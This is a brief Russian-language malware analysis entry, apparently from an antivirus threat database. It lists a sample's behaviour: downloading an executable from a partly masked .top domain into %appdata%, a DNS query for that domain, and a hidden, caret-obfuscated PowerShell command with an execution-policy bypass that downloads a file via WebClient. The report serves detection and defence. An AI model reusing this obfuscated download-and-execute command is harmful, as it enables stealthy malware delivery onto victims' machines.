Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://mo####helthc.top/read.php?f=### как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "poWERsh^E^l^L.^ex^E ^-^E^xeC^UT^IOn^P^oliCY bYpas^S^ ^-nO^p^ro^fiL^e^ -wIN^d^O^ws^ty^LE hiDdE^n ^(N^E^w-OB^jEC^T ^s^ysTEm.ne^T^.^WE^B^C^L^I^en^T)^.DO^wnloAd^Fi^Le^('http://mo#...
Сетевая активность
UDP
- DNS ASK mo####helthc.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "poWERsh^E^l^L.^ex^E ^-^E^xeC^UT^IOn^P^oliCY bYpas^S^ ^-nO^p^ro^fiL^e^ -wIN^d^O^ws^ty^LE hiDdE^n ^(N^E^w-OB^jEC^T ^s^ysTEm.ne^T^.^WE^B^C^L^I^en^T)^.DO^wnloAd^Fi^Le^('http://mo#...' (со скрытым окном)
